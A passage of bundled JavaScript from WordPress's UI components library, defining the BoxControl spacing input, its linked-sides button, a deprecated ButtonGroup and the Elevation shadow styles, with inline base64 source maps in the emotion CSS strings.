34782 })("width:100%;margin-inline-end:", space(2), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvQ3dEIiwiZmlsZSI6ImJveC1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBCb3hDb250cm9sSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCBCdXR0b24gZnJvbSAnLi4vLi4vYnV0dG9uJztcbmltcG9ydCB7IEhTdGFjayB9IGZyb20gJy4uLy4uL2gtc3RhY2snO1xuaW1wb3J0IFJhbmdlQ29udHJvbCBmcm9tICcuLi8uLi9yYW5nZS1jb250cm9sJztcbmltcG9ydCBVbml0Q29udHJvbCBmcm9tICcuLi8uLi91bml0LWNvbnRyb2wnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRVbml0Q29udHJvbCA9IHN0eWxlZCggVW5pdENvbnRyb2wgKWBcblx0bWF4LXdpZHRoOiA5MHB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IElucHV0V3JhcHBlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAzO1xuYDtcblxuZXhwb3J0IGNvbnN0IFJlc2V0QnV0dG9uID0gc3R5bGVkKCBCdXR0b24gKWBcblx0Z3JpZC1hcmVhOiAxIC8gMjtcblx0anVzdGlmeS1zZWxmOiBlbmQ7XG5gO1xuXG5leHBvcnQgY29uc3QgTGlua2VkQnV0dG9uV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGdyaWQtYXJlYTogMSAvIDM7XG5cdGp1c3RpZnktc2VsZjogZW5kO1xuYDtcblxuZXhwb3J0IGNvbnN0IEZsZXhlZEJveENvbnRyb2xJY29uID0gc3R5bGVkKCBCb3hDb250cm9sSWNvbiApYFxuXHRmbGV4OiAwIDAgYXV0bztcbmA7XG5cbmV4cG9ydCBjb25zdCBGbGV4ZWRSYW5nZUNvbnRyb2wgPSBzdHlsZWQoIFJhbmdlQ29udHJvbCApYFxuXHR3aWR0aDogMTAwJTtcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG4iXX0= */"));
34783
34784 // packages/components/build-module/box-control/input-control.mjs
34785 var import_jsx_runtime155 = __toESM(require_jsx_runtime(), 1);
34786 var noop8 = () => {
34787 };
34788 function getSidesToModify(side, sides3, isAlt) {
34789 const allowedSides = getAllowedSides(sides3);
34790 let modifiedSides = [];
34791 switch (side) {
34792 case "all":
34793 modifiedSides = ["top", "bottom", "left", "right"];
34794 break;
34795 case "horizontal":
34796 modifiedSides = ["left", "right"];
34797 break;
34798 case "vertical":
34799 modifiedSides = ["top", "bottom"];
34800 break;
34801 default:
34802 modifiedSides = [side];
34803 }
34804 if (isAlt) {
34805 switch (side) {
34806 case "top":
34807 modifiedSides.push("bottom");
34808 break;
34809 case "bottom":
34810 modifiedSides.push("top");
34811 break;
34812 case "left":
34813 modifiedSides.push("left");
34814 break;
34815 case "right":
34816 modifiedSides.push("right");
34817 break;
34818 }
34819 }
34820 return modifiedSides.filter((s3) => allowedSides.has(s3));
34821 }
34822 function BoxInputControl({
34823 __next40pxDefaultSize,
34824 onChange = noop8,
34825 onFocus = noop8,
34826 values,
34827 selectedUnits,
34828 setSelectedUnits,
34829 sides: sides3,
34830 side,
34831 min: min3 = 0,
34832 presets,
34833 presetKey,
34834 ...props
34835 }) {
34836 const defaultValuesToModify = getSidesToModify(side, sides3);
34837 const handleOnFocus = (event) => {
34838 onFocus(event, {
34839 side
34840 });
34841 };
34842 const handleOnChange = (nextValues) => {
34843 onChange(nextValues);
34844 };
34845 const handleRawOnValueChange = (next2) => {
34846 const nextValues = {
34847 ...values
34848 };
34849 defaultValuesToModify.forEach((modifiedSide) => {
34850 nextValues[modifiedSide] = next2;
34851 });
34852 handleOnChange(nextValues);
34853 };
34854 const handleOnValueChange = (next2, extra) => {
34855 const nextValues = {
34856 ...values
34857 };
34858 const isNumeric = next2 !== void 0 && !isNaN(parseFloat(next2));
34859 const nextValue = isNumeric ? next2 : void 0;
34860 const modifiedSides = getSidesToModify(
34861 side,
34862 sides3,
34863 /**
34864 * Supports changing pair sides. For example, holding the ALT key
34865 * when changing the TOP will also update BOTTOM.
34866 */
34867 // @ts-expect-error - TODO: event.altKey is only present when the change event was
34868 // triggered by a keyboard event. Should this feature be implemented differently so
34869 // it also works with drag events?
34870 !!extra?.event.altKey
34871 );
34872 modifiedSides.forEach((modifiedSide) => {
34873 nextValues[modifiedSide] = nextValue;
34874 });
34875 handleOnChange(nextValues);
34876 };
34877 const handleOnUnitChange = (next2) => {
34878 const newUnits = {
34879 ...selectedUnits
34880 };
34881 defaultValuesToModify.forEach((modifiedSide) => {
34882 newUnits[modifiedSide] = next2;
34883 });
34884 setSelectedUnits(newUnits);
34885 };
34886 const mergedValue = getMergedValue(values, defaultValuesToModify);
34887 const hasValues = isValuesDefined(values);
34888 const isMixed = hasValues && defaultValuesToModify.length > 1 && isValueMixed(values, defaultValuesToModify);
34889 const [parsedQuantity, parsedUnit] = parseQuantityAndUnitFromRawValue(mergedValue);
34890 const computedUnit = hasValues ? parsedUnit : selectedUnits[defaultValuesToModify[0]];
34891 const generatedId = (0, import_compose37.useInstanceId)(BoxInputControl, "box-control-input");
34892 const inputId = [generatedId, side].join("-");
34893 const isMixedUnit = defaultValuesToModify.length > 1 && mergedValue === void 0 && defaultValuesToModify.some((s3) => selectedUnits[s3] !== computedUnit);
34894 const usedValue = mergedValue === void 0 && computedUnit ? computedUnit : mergedValue;
34895 const mixedPlaceholder = isMixed || isMixedUnit ? (0, import_i18n28.__)("Mixed") : void 0;
34896 const hasPresets = presets && presets.length > 0 && presetKey;
34897 const hasPresetValue = hasPresets && mergedValue !== void 0 && !isMixed && isValuePreset(mergedValue, presetKey);
34898 const [showCustomValueControl, setShowCustomValueControl] = (0, import_element92.useState)(!hasPresets || !hasPresetValue && !isMixed && mergedValue !== void 0);
34899 const presetIndex = hasPresetValue ? getPresetIndexFromValue(mergedValue, presetKey, presets) : void 0;
34900 const marks = hasPresets ? [{
34901 value: 0,
34902 label: "",
34903 tooltip: (0, import_i18n28.__)("None")
34904 }, ...presets.map((preset, index2) => ({
34905 value: index2 + 1,
34906 label: "",
34907 tooltip: preset.name ?? preset.slug
34908 }))] : [];
34909 return /* @__PURE__ */ (0, import_jsx_runtime155.jsxs)(InputWrapper, {
34910 expanded: true,
34911 children: [/* @__PURE__ */ (0, import_jsx_runtime155.jsx)(FlexedBoxControlIcon, {
34912 side,
34913 sides: sides3
34914 }), showCustomValueControl && /* @__PURE__ */ (0, import_jsx_runtime155.jsxs)(import_jsx_runtime155.Fragment, {
34915 children: [/* @__PURE__ */ (0, import_jsx_runtime155.jsx)(tooltip_default, {
34916 placement: "top-end",
34917 text: LABELS[side],
34918 children: /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(StyledUnitControl, {
34919 ...props,
34920 min: min3,
34921 __shouldNotWarnDeprecated36pxSize: true,
34922 __next40pxDefaultSize,
34923 className: "component-box-control__unit-control",
34924 id: inputId,
34925 isPressEnterToChange: true,
34926 disableUnits: isMixed || isMixedUnit,
34927 value: usedValue,
34928 onChange: handleOnValueChange,
34929 onUnitChange: handleOnUnitChange,
34930 onFocus: handleOnFocus,
34931 label: LABELS[side],
34932 placeholder: mixedPlaceholder,
34933 hideLabelFromVision: true
34934 })
34935 }), /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(FlexedRangeControl, {
34936 __next40pxDefaultSize,
34937 __shouldNotWarnDeprecated36pxSize: true,
34938 "aria-controls": inputId,
34939 label: LABELS[side],
34940 hideLabelFromVision: true,
34941 onChange: (newValue) => {
34942 handleOnValueChange(newValue !== void 0 ? [newValue, computedUnit].join("") : void 0);
34943 },
34944 min: isFinite(min3) ? min3 : 0,
34945 max: CUSTOM_VALUE_SETTINGS[computedUnit ?? "px"]?.max ?? 10,
34946 step: CUSTOM_VALUE_SETTINGS[computedUnit ?? "px"]?.step ?? 0.1,
34947 value: parsedQuantity ?? 0,
34948 withInputField: false
34949 })]
34950 }), hasPresets && !showCustomValueControl && /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(FlexedRangeControl, {
34951 __next40pxDefaultSize: true,
34952 className: "spacing-sizes-control__range-control",
34953 value: presetIndex !== void 0 ? presetIndex + 1 : 0,
34954 onChange: (newIndex) => {
34955 const newValue = newIndex === 0 || newIndex === void 0 ? void 0 : getPresetValueFromIndex(newIndex - 1, presetKey, presets);
34956 handleRawOnValueChange(newValue);
34957 },
34958 withInputField: false,
34959 "aria-valuenow": presetIndex !== void 0 ? presetIndex + 1 : 0,
34960 "aria-valuetext": marks[presetIndex !== void 0 ? presetIndex + 1 : 0].tooltip,
34961 renderTooltipContent: (index2) => marks[!index2 ? 0 : index2].tooltip,
34962 min: 0,
34963 max: marks.length - 1,
34964 marks,
34965 label: LABELS[side],
34966 hideLabelFromVision: true
34967 }), hasPresets && /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(button_default, {
34968 label: showCustomValueControl ? (0, import_i18n28.__)("Use size preset") : (0, import_i18n28.__)("Set custom size"),
34969 icon: settings_default,
34970 onClick: () => {
34971 setShowCustomValueControl(!showCustomValueControl);
34972 },
34973 isPressed: showCustomValueControl,
34974 size: "small",
34975 iconSize: 24
34976 })]
34977 }, `box-control-${side}`);
34978 }
34979
34980 // packages/components/build-module/box-control/linked-button.mjs
34981 var import_i18n29 = __toESM(require_i18n(), 1);
34982 var import_jsx_runtime156 = __toESM(require_jsx_runtime(), 1);
34983 function LinkedButton({
34984 isLinked,
34985 ...props
34986 }) {
34987 const label = isLinked ? (0, import_i18n29.__)("Unlink sides") : (0, import_i18n29.__)("Link sides");
34988 return /* @__PURE__ */ (0, import_jsx_runtime156.jsx)(button_default, {
34989 ...props,
34990 className: "component-box-control__linked-button",
34991 size: "small",
34992 icon: isLinked ? link_default : link_off_default,
34993 iconSize: 24,
34994 label
34995 });
34996 }
34997
34998 // packages/components/build-module/box-control/index.mjs
34999 var import_jsx_runtime157 = __toESM(require_jsx_runtime(), 1);
35000 var defaultInputProps = {
35001 min: 0
35002 };
35003 var noop9 = () => {
35004 };
35005 function useUniqueId4(idProp) {
35006 const instanceId = (0, import_compose38.useInstanceId)(BoxControl, "inspector-box-control");
35007 return idProp || instanceId;
35008 }
35009 function BoxControl({
35010 __next40pxDefaultSize = false,
35011 id: idProp,
35012 inputProps = defaultInputProps,
35013 onChange = noop9,
35014 label = (0, import_i18n30.__)("Box Control"),
35015 values: valuesProp,
35016 units,
35017 sides: sides3,
35018 splitOnAxis = false,
35019 allowReset = true,
35020 resetValues = DEFAULT_VALUES,
35021 presets,
35022 presetKey,
35023 onMouseOver,
35024 onMouseOut
35025 }) {
35026 const [values, setValues] = use_controlled_state_default(valuesProp, {
35027 fallback: DEFAULT_VALUES
35028 });
35029 const inputValues = values || DEFAULT_VALUES;
35030 const hasInitialValue = isValuesDefined(valuesProp);
35031 const hasOneSide = sides3?.length === 1;
35032 const [isDirty, setIsDirty] = (0, import_element93.useState)(hasInitialValue);
35033 const [isLinked, setIsLinked] = (0, import_element93.useState)(!hasInitialValue || !isValueMixed(inputValues) || hasOneSide);
35034 const [side, setSide] = (0, import_element93.useState)(getInitialSide(isLinked, splitOnAxis));
35035 const [selectedUnits, setSelectedUnits] = (0, import_element93.useState)({
35036 top: parseQuantityAndUnitFromRawValue(valuesProp?.top)[1],
35037 right: parseQuantityAndUnitFromRawValue(valuesProp?.right)[1],
35038 bottom: parseQuantityAndUnitFromRawValue(valuesProp?.bottom)[1],
35039 left: parseQuantityAndUnitFromRawValue(valuesProp?.left)[1]
35040 });
35041 const id3 = useUniqueId4(idProp);
35042 const headingId = `${id3}-heading`;
35043 const toggleLinked = () => {
35044 setIsLinked(!isLinked);
35045 setSide(getInitialSide(!isLinked, splitOnAxis));
35046 };
35047 const handleOnFocus = (_event, {
35048 side: nextSide
35049 }) => {
35050 setSide(nextSide);
35051 };
35052 const handleOnChange = (nextValues) => {
35053 onChange(nextValues);
35054 setValues(nextValues);
35055 setIsDirty(true);
35056 };
35057 const handleOnReset = () => {
35058 onChange(resetValues);
35059 setValues(resetValues);
35060 setSelectedUnits(resetValues);
35061 setIsDirty(false);
35062 };
35063 const inputControlProps = {
35064 onMouseOver,
35065 onMouseOut,
35066 ...inputProps,
35067 onChange: handleOnChange,
35068 onFocus: handleOnFocus,
35069 isLinked,
35070 units,
35071 selectedUnits,
35072 setSelectedUnits,
35073 sides: sides3,
35074 values: inputValues,
35075 __next40pxDefaultSize,
35076 presets,
35077 presetKey
35078 };
35079 maybeWarnDeprecated36pxSize({
35080 componentName: "BoxControl",
35081 __next40pxDefaultSize,
35082 size: void 0
35083 });
35084 const sidesToRender = getAllowedSides(sides3);
35085 if (presets && !presetKey || !presets && presetKey) {
35086 const definedProp = presets ? "presets" : "presetKey";
35087 const missingProp = presets ? "presetKey" : "presets";
35088 true ? (0, import_warning5.default)(`wp.components.BoxControl: the '${missingProp}' prop is required when the '${definedProp}' prop is defined.`) : void 0;
35089 }
35090 return /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(component_default22, {
35091 id: id3,
35092 columns: 3,
35093 templateColumns: "1fr min-content min-content",
35094 role: "group",
35095 "aria-labelledby": headingId,
35096 children: [/* @__PURE__ */ (0, import_jsx_runtime157.jsx)(BaseControl.VisualLabel, {
35097 id: headingId,
35098 children: label
35099 }), isLinked && /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(InputWrapper, {
35100 children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(BoxInputControl, {
35101 side: "all",
35102 ...inputControlProps
35103 })
35104 }), !hasOneSide && /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(LinkedButtonWrapper, {
35105 children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(LinkedButton, {
35106 onClick: toggleLinked,
35107 isLinked
35108 })
35109 }), !isLinked && splitOnAxis && ["vertical", "horizontal"].map((axis) => (
35110 // Disable reason: the parent component is handling the __next40pxDefaultSize prop
35111 // eslint-disable-next-line @wordpress/components-no-missing-40px-size-prop
35112 /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(BoxInputControl, {
35113 side: axis,
35114 ...inputControlProps
35115 }, axis)
35116 )), !isLinked && !splitOnAxis && Array.from(sidesToRender).map((axis) => (
35117 // Disable reason: the parent component is handling the __next40pxDefaultSize prop
35118 // eslint-disable-next-line @wordpress/components-no-missing-40px-size-prop
35119 /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(BoxInputControl, {
35120 side: axis,
35121 ...inputControlProps
35122 }, axis)
35123 )), allowReset && /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(ResetButton, {
35124 className: "component-box-control__reset-button",
35125 variant: "secondary",
35126 size: "small",
35127 onClick: handleOnReset,
35128 disabled: !isDirty,
35129 children: (0, import_i18n30.__)("Reset")
35130 })]
35131 });
35132 }
35133 var box_control_default = BoxControl;
35134
35135 // packages/components/build-module/button-group/index.mjs
35136 var import_element94 = __toESM(require_element(), 1);
35137 var import_deprecated10 = __toESM(require_deprecated(), 1);
35138 var import_jsx_runtime158 = __toESM(require_jsx_runtime(), 1);
35139 function UnforwardedButtonGroup(props, ref) {
35140 const {
35141 className: className2,
35142 __shouldNotWarnDeprecated,
35143 ...restProps
35144 } = props;
35145 const classes = clsx_default("components-button-group", className2);
35146 if (!__shouldNotWarnDeprecated) {
35147 (0, import_deprecated10.default)("wp.components.ButtonGroup", {
35148 since: "6.8",
35149 alternative: "wp.components.__experimentalToggleGroupControl"
35150 });
35151 }
35152 return /* @__PURE__ */ (0, import_jsx_runtime158.jsx)("div", {
35153 ref,
35154 role: "group",
35155 className: classes,
35156 ...restProps
35157 });
35158 }
35159 var ButtonGroup = (0, import_element94.forwardRef)(UnforwardedButtonGroup);
35160 ButtonGroup.displayName = "ButtonGroup";
35161 var button_group_default = ButtonGroup;
35162
35163 // packages/components/build-module/card/card/component.mjs
35164 var import_element98 = __toESM(require_element(), 1);
35165
35166 // packages/components/build-module/elevation/hook.mjs
35167 var import_element95 = __toESM(require_element(), 1);
35168
35169 // packages/components/build-module/elevation/styles.mjs
35170 function _EMOTION_STRINGIFIED_CSS_ERROR__17() {
35171 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
35172 }
35173 var Elevation = false ? {
35174 name: "12ip69d",
35175 styles: "background:transparent;display:block;margin:0!important;pointer-events:none;position:absolute;will-change:box-shadow"
35176 } : {
35177 name: "1n58bsy-Elevation",
35178 styles: "background:transparent;display:block;margin:0!important;pointer-events:none;position:absolute;will-change:box-shadow;label:Elevation;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFLNEIiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG5leHBvcnQgY29uc3QgRWxldmF0aW9uID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR3aWxsLWNoYW5nZTogYm94LXNoYWRvdztcbmA7XG4iXX0= */",
35179 toString: _EMOTION_STRINGIFIED_CSS_ERROR__17
35180 };
35181
35182 // packages/components/build-module/elevation/hook.mjs
35183 function getBoxShadow(value) {
35184 const boxShadowColor = `rgba(0, 0, 0, ${value / 20})`;
35185 const boxShadow = `0 ${value}px ${value * 2}px 0
35186 ${boxShadowColor}`;
35187 return boxShadow;
35188 }
35189 function useElevation(props) {
35190 const {
35191 active,
35192 borderRadius: borderRadius3 = "inherit",
35193 className: className2,
35194 focus: focus4,
35195 hover: hover2,
35196 isInteractive = false,
35197 offset: offset3 = 0,
35198 value = 0,
35199 ...otherProps
35200 } = useContextSystem(props, "Elevation");
35201 const cx3 = useCx();
35202 const classes = (0, import_element95.useMemo)(() => {
35203 let hoverValue = isValueDefined(hover2) ? hover2 : value * 2;
35204 let activeValue = isValueDefined(active) ? active : value / 2;
35205 if (!isInteractive) {
35206 hoverValue = isValueDefined(hover2) ? hover2 : void 0;
35207 activeValue = isValueDefined(active) ? active : void 0;
35208 }
35209 const transition = `box-shadow ${config_values_default.transitionDuration} ${config_values_default.transitionTimingFunction}`;
35210 const sx = {};
35211 sx.Base = /* @__PURE__ */ css({
35212 borderRadius: borderRadius3,
35213 bottom: offset3,
35214 boxShadow: getBoxShadow(value),
35215 opacity: config_values_default.elevationIntensity,
35216 left: offset3,
35217 right: offset3,
35218 top: offset3
35219 }, /* @__PURE__ */ css("@media not ( prefers-reduced-motion ){transition:", transition, ";}" + (false ? "" : ";label:sx-Base;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBK0VNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFNlcmlhbGl6ZWRTdHlsZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyB1c2VNZW1vIH0gZnJvbSAnQHdvcmRwcmVzcy9lbGVtZW50JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBXb3JkUHJlc3NDb21wb25lbnRQcm9wcyB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgdXNlQ29udGV4dFN5c3RlbSB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0ICogYXMgc3R5bGVzIGZyb20gJy4vc3R5bGVzJztcbmltcG9ydCB7IENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHVzZUN4IH0gZnJvbSAnLi4vdXRpbHMvaG9va3MvdXNlLWN4JztcbmltcG9ydCB7IGlzVmFsdWVEZWZpbmVkIH0gZnJvbSAnLi4vdXRpbHMvdmFsdWVzJztcbmltcG9ydCB0eXBlIHsgRWxldmF0aW9uUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGZ1bmN0aW9uIGdldEJveFNoYWRvdyggdmFsdWU6IG51bWJlciApIHtcblx0Y29uc3QgYm94U2hhZG93Q29sb3IgPSBgcmdiYSgwLCAwLCAwLCAkeyB2YWx1ZSAvIDIwIH0pYDtcblx0Y29uc3QgYm94U2hhZG93ID0gYDAgJHsgdmFsdWUgfXB4ICR7IHZhbHVlICogMiB9cHggMFxuXHQkeyBib3hTaGFkb3dDb2xvciB9YDtcblxuXHRyZXR1cm4gYm94U2hhZG93O1xufVxuXG5leHBvcnQgZnVuY3Rpb24gdXNlRWxldmF0aW9uKFxuXHRwcm9wczogV29yZFByZXNzQ29tcG9uZW50UHJvcHM8IEVsZXZhdGlvblByb3BzLCAnZGl2JyA+XG4pIHtcblx0Y29uc3Qge1xuXHRcdGFjdGl2ZSxcblx0XHRib3JkZXJSYWRpdXMgPSAnaW5oZXJpdCcsXG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGZvY3VzLFxuXHRcdGhvdmVyLFxuXHRcdGlzSW50ZXJhY3RpdmUgPSBmYWxzZSxcblx0XHRvZmZzZXQgPSAwLFxuXHRcdHZhbHVlID0gMCxcblx0XHQuLi5vdGhlclByb3BzXG5cdH0gPSB1c2VDb250ZXh0U3lzdGVtKCBwcm9wcywgJ0VsZXZhdGlvbicgKTtcblxuXHRjb25zdCBjeCA9IHVzZUN4KCk7XG5cblx0Y29uc3QgY2xhc3NlcyA9IHVzZU1lbW8oICgpID0+IHtcblx0XHRsZXQgaG92ZXJWYWx1ZTogbnVtYmVyIHwgdW5kZWZpbmVkID0gaXNWYWx1ZURlZmluZWQoIGhvdmVyIClcblx0XHRcdD8gaG92ZXJcblx0XHRcdDogdmFsdWUgKiAyO1xuXHRcdGxldCBhY3RpdmVWYWx1ZTogbnVtYmVyIHwgdW5kZWZpbmVkID0gaXNWYWx1ZURlZmluZWQoIGFjdGl2ZSApXG5cdFx0XHQ/IGFjdGl2ZVxuXHRcdFx0OiB2YWx1ZSAvIDI7XG5cblx0XHRpZiAoICEgaXNJbnRlcmFjdGl2ZSApIHtcblx0XHRcdGhvdmVyVmFsdWUgPSBpc1ZhbHVlRGVmaW5lZCggaG92ZXIgKSA/IGhvdmVyIDogdW5kZWZpbmVkO1xuXHRcdFx0YWN0aXZlVmFsdWUgPSBpc1ZhbHVlRGVmaW5lZCggYWN0aXZlICkgPyBhY3RpdmUgOiB1bmRlZmluZWQ7XG5cdFx0fVxuXG5cdFx0Y29uc3QgdHJhbnNpdGlvbiA9IGBib3gtc2hhZG93ICR7IENPTkZJRy50cmFuc2l0aW9uRHVyYXRpb24gfSAkeyBDT05GSUcudHJhbnNpdGlvblRpbWluZ0Z1bmN0aW9uIH1gO1xuXG5cdFx0Y29uc3Qgc3g6IHtcblx0XHRcdEJhc2U/OiBTZXJpYWxpemVkU3R5bGVzO1xuXHRcdFx0aG92ZXI/OiBTZXJpYWxpemVkU3R5bGVzO1xuXHRcdFx0YWN0aXZlPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGZvY3VzPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHR9ID0ge307XG5cblx0XHRzeC5CYXNlID0gY3NzKFxuXHRcdFx0e1xuXHRcdFx0XHRib3JkZXJSYWRpdXMsXG5cdFx0XHRcdGJvdHRvbTogb2Zmc2V0LFxuXHRcdFx0XHRib3hTaGFkb3c6IGdldEJveFNoYWRvdyggdmFsdWUgKSxcblx0XHRcdFx0b3BhY2l0eTogQ09ORklHLmVsZXZhdGlvbkludGVuc2l0eSxcblx0XHRcdFx0bGVmdDogb2Zmc2V0LFxuXHRcdFx0XHRyaWdodDogb2Zmc2V0LFxuXHRcdFx0XHR0b3A6IG9mZnNldCxcblx0XHRcdH0sXG5cdFx0XHRjc3NgXG5cdFx0XHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0XHRcdHRyYW5zaXRpb246ICR7IHRyYW5zaXRpb24gfTtcblx0XHRcdFx0fVxuXHRcdFx0YFxuXHRcdCk7XG5cblx0XHRpZiAoIGlzVmFsdWVEZWZpbmVkKCBob3ZlclZhbHVlICkgKSB7XG5cdFx0XHRzeC5ob3ZlciA9IGNzc2Bcblx0XHRcdFx0Kjpob3ZlciA+ICYge1xuXHRcdFx0XHRcdGJveC1zaGFkb3c6ICR7IGdldEJveFNoYWRvdyggaG92ZXJWYWx1ZSApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggYWN0aXZlVmFsdWUgKSApIHtcblx0XHRcdHN4LmFjdGl2ZSA9IGNzc2Bcblx0XHRcdFx0KjphY3RpdmUgPiAmIHtcblx0XHRcdFx0XHRib3gtc2hhZG93OiAkeyBnZXRCb3hTaGFkb3coIGFjdGl2ZVZhbHVlICkgfTtcblx0XHRcdFx0fVxuXHRcdFx0YDtcblx0XHR9XG5cblx0XHRpZiAoIGlzVmFsdWVEZWZpbmVkKCBmb2N1cyApICkge1xuXHRcdFx0c3guZm9jdXMgPSBjc3NgXG5cdFx0XHRcdCo6Zm9jdXMgPiAmIHtcblx0XHRcdFx0XHRib3gtc2hhZG93OiAkeyBnZXRCb3hTaGFkb3coIGZvY3VzICkgfTtcblx0XHRcdFx0fVxuXHRcdFx0YDtcblx0XHR9XG5cblx0XHRyZXR1cm4gY3goXG5cdFx0XHRzdHlsZXMuRWxldmF0aW9uLFxuXHRcdFx0c3guQmFzZSxcblx0XHRcdHN4LmhvdmVyLFxuXHRcdFx0c3guZm9jdXMsXG5cdFx0XHRzeC5hY3RpdmUsXG5cdFx0XHRjbGFzc05hbWVcblx0XHQpO1xuXHR9LCBbXG5cdFx0YWN0aXZlLFxuXHRcdGJvcmRlclJhZGl1cyxcblx0XHRjbGFzc05hbWUsXG5cdFx0Y3gsXG5cdFx0Zm9jdXMsXG5cdFx0aG92ZXIsXG5cdFx0aXNJbnRlcmFjdGl2ZSxcblx0XHRvZmZzZXQsXG5cdFx0dmFsdWUsXG5cdF0gKTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMsICdhcmlhLWhpZGRlbic6IHRydWUgfTtcbn1cbiJdfQ== */"), false ? "" : ";label:sx-Base;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBcUVZIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFNlcmlhbGl6ZWRTdHlsZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyB1c2VNZW1vIH0gZnJvbSAnQHdvcmRwcmVzcy9lbGVtZW50JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBXb3JkUHJlc3NDb21wb25lbnRQcm9wcyB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgdXNlQ29udGV4dFN5c3RlbSB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0ICogYXMgc3R5bGVzIGZyb20gJy4vc3R5bGVzJztcbmltcG9ydCB7IENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHVzZUN4IH0gZnJvbSAnLi4vdXRpbHMvaG9va3MvdXNlLWN4JztcbmltcG9ydCB7IGlzVmFsdWVEZWZpbmVkIH0gZnJvbSAnLi4vdXRpbHMvdmFsdWVzJztcbmltcG9ydCB0eXBlIHsgRWxldmF